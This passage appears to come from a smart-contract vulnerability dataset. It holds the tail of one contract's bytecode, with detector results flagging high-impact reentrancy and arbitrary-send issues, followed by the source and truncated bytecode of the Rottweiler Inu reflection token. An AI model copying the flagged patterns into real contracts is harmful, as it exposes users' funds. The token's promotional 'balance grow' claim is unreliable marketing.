5b600d546001600160a01b031663f305d71947306109e781610530565b6000806109fc6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610a64573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a89919061191d565b5050600e805461ffff60b01b19811661010160b01b17909155600d5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610af6573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061052d919061194b565b6000610b5c83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061128e565b9392505050565b6001600160a01b038316610bc55760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104b1565b6001600160a01b038216610c265760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104b1565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610ceb5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104b1565b6001600160a01b038216610d4d5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104b1565b60008111610daf5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104b1565b6002600a556008600b556000546001600160a01b03848116911614801590610de557506000546001600160a01b03838116911614155b15610f9157600e546001600160a01b038481169116148015610e155750600d546001600160a01b03838116911614155b8015610e3a57506001600160a01b03821660009081526005602052604090205460ff16155b8015610e4f5750600e54600160b81b900460ff165b15610e7957600f54811115610e6357600080fd5b600e54600160a01b900460ff16610e7957600080fd5b600d546001600160a01b03848116911614801590610eb057506001600160a01b03831660009081526005602052604090205460ff16155b8015610ec95750600e546001600160a01b038381169116145b15610f24576001600160a01b03831660009081526006602052604090205460ff16158015610f1057506001600160a01b03821660009081526006602052604090205460ff16155b610f1957600080fd5b6002600a556008600b555b6000610f2f30610530565b600e54909150600160a81b900460ff16158015610f5a5750600e546001600160a01b03858116911614155b8015610f6f5750600e54600160b01b900460ff165b15610f8f57610f7d81611092565b478015610f8d57610f8d47610fdb565b505b505b610f9c8383836112bc565b505050565b60008184841115610fc55760405162461bcd60e51b81526004016104b1919061162a565b506000610fd28486611968565b95945050505050565b600c546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561092e573d6000803e3d6000fd5b600060085482111561107c5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016104b1565b60006110866112c7565b9050610b5c8382610b1a565b600e805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106110da576110da6118d8565b6001600160a01b03928316602091820292909201810191909152600d54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611133573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061115791906118bb565b8160018151811061116a5761116a6118d8565b6001600160a01b039283166020918202929092010152600d546111909130911684610b63565b600d5460405163791ac94760e01b81526001600160a01b039091169063791ac947906111c990859060009086903090429060040161197f565b600060405180830381600087803b1580156111e357600080fd5b505af11580156111f7573d6000803e3d6000fd5b5050600e805460ff60a81b1916905550505050565b60008260000361121e57506000610418565b600061122a83856119f0565b9050826112378583611a0f565b14610b5c5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104b1565b600081836112af5760405162461bcd60e51b81526004016104b1919061162a565b506000610fd28486611a0f565b610f9c8383836112ea565b60008060006112d46113e1565b90925090506112e38282610b1a565b9250505090565b6000806000806000806112fc8761141f565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061132e908761147c565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461135d90866114be565b6001600160a01b03891660009081526002602052604090205561137f8161151d565b6113898483611567565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516113ce91815260200190565b60405180910390a3505050505050505050565b600854600090819066071afd498d00006113fb8282610b1a565b8210156114165750506008549266071afd498d000092509050565b90939092509050565b600080600080600080600080600061143c8a600a54600b5461158b565b925092509250600061144c6112c7565b9050600080600061145f8e8787876115da565b919e509c509a509598509396509194505050505091939550919395565b6000610b5c83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610fa1565b6000806114cb8385611a31565b905083811015610b5c5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104b1565b60006115276112c7565b90506000611535838361120c565b3060009081526002602052604090205490915061155290826114be565b30600090815260026020526040902055505050565b600854611574908361147c565b60085560095461158490826114be565b6009555050565b600080808061159f6064610995898961120c565b905060006115b260646109958a8961120c565b905060006115ca826115c48b8661147c565b9061147c565b9992985090965090945050505050565b60008080806115e9888661120c565b905060006115f7888761120c565b90506000611605888861120c565b90506000611617826115c4868661147c565b939b939a50919850919650505050505050565b600060208083528351808285015260005b818110156116575785810183015185820160400152820161163b565b81811115611669576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461052d57600080fd5b803561169f8161167f565b919050565b600080604083850312156116b757600080fd5b82356116c28161167f565b946020939093013593505050565b6000806000606084860312156116e557600080fd5b83356116f08161167f565b925060208401356117008161167f565b929592945050506040919091013590565b60006020828403121561172357600080fd5b8135610b5c8161167f565b801515811461052d57600080fd5b60006020828403121561174e57600080fd5b8135610b5c8161172e565b634e487b7160e01b600052604160045260246000fd5b6000602080838503121561178257600080fd5b823567ffffffffffffffff8082111561179a57600080fd5b818501915085601f8301126117ae57600080fd5b8135818111156117c0576117c0611759565b8060051b604051601f19603f830116810181811085821117156117e5576117e5611759565b60405291825284820192508381018501918883111561180357600080fd5b938501935b828510156118285761181985611694565b84529385019392850192611808565b98975050505050505050565b60006020828403121561184657600080fd5b5035919050565b6000806040838503121561186057600080fd5b823561186b8161167f565b9150602083013561187b8161167f565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6000602082840312156118cd57600080fd5b8151610b5c8161167f565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b600060018201611916576119166118ee565b5060010190565b60008060006060848603121561193257600080fd5b8351925060208401519150604084015190509250925092565b60006020828403121561195d57600080fd5b8151610b5c8161172e565b60008282101561197a5761197a6118ee565b500390565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156119cf5784516001600160a01b0316835293830193918301916001016119aa565b50506001600160a01b03969096166060850152505050608001529392505050565b6000816000190483118215151615611a0a57611a0a6118ee565b500290565b600082611a2c57634e487b7160e01b600052601260045260246000fd5b500490565b60008219821115611a4457611a446118ee565b50019056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220b8fbe9f7e9dbfb0d838deafe9068b37b0c9d392110271f50fc66a28cefe0e4e564736f6c634300080d0033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 10,190 |
0x5978ac6624577bbccbc4fd81ef99c65b1362fa92 | /**
*Submitted for verification at Etherscan.io on 2021-05-12
*/
/*
Rottweiler ($ROTTI) is a peer-to-peer cryptocurrency with built-in RUFF - Reflective User First Farming. Just hold ROTTI in your wallet, and watch your balance grow!
Visit https://rotti.finance/
SPDX-License-Identifier: Unlicensed
*/
pragma solidity ^0.6.12;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract RottweilerInu is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 100000000000 * 10**6 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private _name = 'Rottweiler Inu';
string private _symbol = 'ROTTI';
uint8 private _decimals = 9;
constructor () public {
_rOwned[_msgSender()] = _rTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function reflect(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeAccount(address account) external onlyOwner() {
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee) = _getTValues(tAmount);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee);
}
function _getTValues(uint256 tAmount) private pure returns (uint256, uint256) {
uint256 tFee = tAmount.div(100).mul(2);
uint256 tTransferAmount = tAmount.sub(tFee);
return (tTransferAmount, tFee);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
} | 0x608060405234801561001057600080fd5b50600436106101375760003560e01c806370a08231116100b8578063a9059cbb1161007c578063a9059cbb146105a3578063cba0e99614610607578063dd62ed3e14610661578063f2cc0c18146106d9578063f2fde38b1461071d578063f84354f11461076157610137565b806370a0823114610426578063715018a61461047e5780638da5cb5b1461048857806395d89b41146104bc578063a457c2d71461053f57610137565b806323b872dd116100ff57806323b872dd1461028d5780632d83811914610311578063313ce5671461035357806339509351146103745780634549b039146103d857610137565b8063053ab1821461013c57806306fdde031461016a578063095ea7b3146101ed57806313114a9d1461025157806318160ddd1461026f575b600080fd5b6101686004803603602081101561015257600080fd5b81019080803590602001909291905050506107a5565b005b610172610935565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101b2578082015181840152602081019050610197565b50505050905090810190601f1680156101df5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102396004803603604081101561020357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506109d7565b60405180821515815260200191505060405180910390f35b6102596109f5565b6040518082815260200191505060405180910390f35b6102776109ff565b6040518082815260200191505060405180910390f35b6102f9600480360360608110156102a357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a12565b60405180821515815260200191505060405180910390f35b61033d6004803603602081101561032757600080fd5b8101908080359060200190929190505050610aeb565b6040518082815260200191505060405180910390f35b61035b610b6f565b604051808260ff16815260200191505060405180910390f35b6103c06004803603604081101561038a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b86565b60405180821515815260200191505060405180910390f35b610410600480360360408110156103ee57600080fd5b8101908080359060200190929190803515159060200190929190505050610c39565b6040518082815260200191505060405180910390f35b6104686004803603602081101561043c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610cf7565b6040518082815260200191505060405180910390f35b610486610de2565b005b610490610f68565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6104c4610f91565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156105045780820151818401526020810190506104e9565b50505050905090810190601f1680156105315780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61058b6004803603604081101561055557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611033565b60405180821515815260200191505060405180910390f35b6105ef600480360360408110156105b957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611100565b60405180821515815260200191505060405180910390f35b6106496004803603602081101561061d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061111e565b60405180821515815260200191505060405180910390f35b6106c36004803603604081101561067757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611174565b6040518082815260200191505060405180910390f35b61071b600480360360208110156106ef57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506111fb565b005b61075f6004803603602081101561073357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611515565b005b6107a36004803603602081101561077757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611720565b005b60006107af611aaa565b9050600460008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610854576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602c8152602001806132e9602c913960400191505060405180910390fd5b600061085f83611ab2565b5050505090506108b781600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b0a90919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061090f81600654611b0a90919063ffffffff16565b60068190555061092a83600754611b5490919063ffffffff16565b600781905550505050565b606060088054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156109cd5780601f106109a2576101008083540402835291602001916109cd565b820191906000526020600020905b8154815290600101906020018083116109b057829003601f168201915b5050505050905090565b60006109eb6109e4611aaa565b8484611bdc565b6001905092915050565b6000600754905090565b60006a52b7d2dcc80cd2e4000000905090565b6000610a1f848484611dd3565b610ae084610a2b611aaa565b610adb8560405180606001604052806028815260200161324f60289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610a91611aaa565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461222c9092919063ffffffff16565b611bdc565b600190509392505050565b6000600654821115610b48576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a8152602001806131bc602a913960400191505060405180910390fd5b6000610b526122ec565b9050610b67818461231790919063ffffffff16565b915050919050565b6000600a60009054906101000a900460ff16905090565b6000610c2f610b93611aaa565b84610c2a8560036000610ba4611aaa565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b5490919063ffffffff16565b611bdc565b6001905092915050565b60006a52b7d2dcc80cd2e4000000831115610cbc576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f416d6f756e74206d757374206265206c657373207468616e20737570706c790081525060200191505060405180910390fd5b81610cdb576000610ccc84611ab2565b50505050905080915050610cf1565b6000610ce684611ab2565b505050915050809150505b92915050565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610d9257600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050610ddd565b610dda600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610aeb565b90505b919050565b610dea611aaa565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610eaa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060098054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156110295780601f10610ffe57610100808354040283529160200191611029565b820191906000526020600020905b81548152906001019060200180831161100c57829003601f168201915b5050505050905090565b60006110f6611040611aaa565b846110f185604051806060016040528060258152602001613315602591396003600061106a611aaa565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461222c9092919063ffffffff16565b611bdc565b6001905092915050565b600061111461110d611aaa565b8484611dd3565b6001905092915050565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b611203611aaa565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146112c3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600460008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611383576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f4163636f756e7420697320616c7265616479206578636c75646564000000000081525060200191505060405180910390fd5b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054111561145757611413600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610aeb565b600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6001600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506005819080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b61151d611aaa565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146115dd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611663576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806131e66026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b611728611aaa565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673fffffffffffffffffffffffffffffffffffffff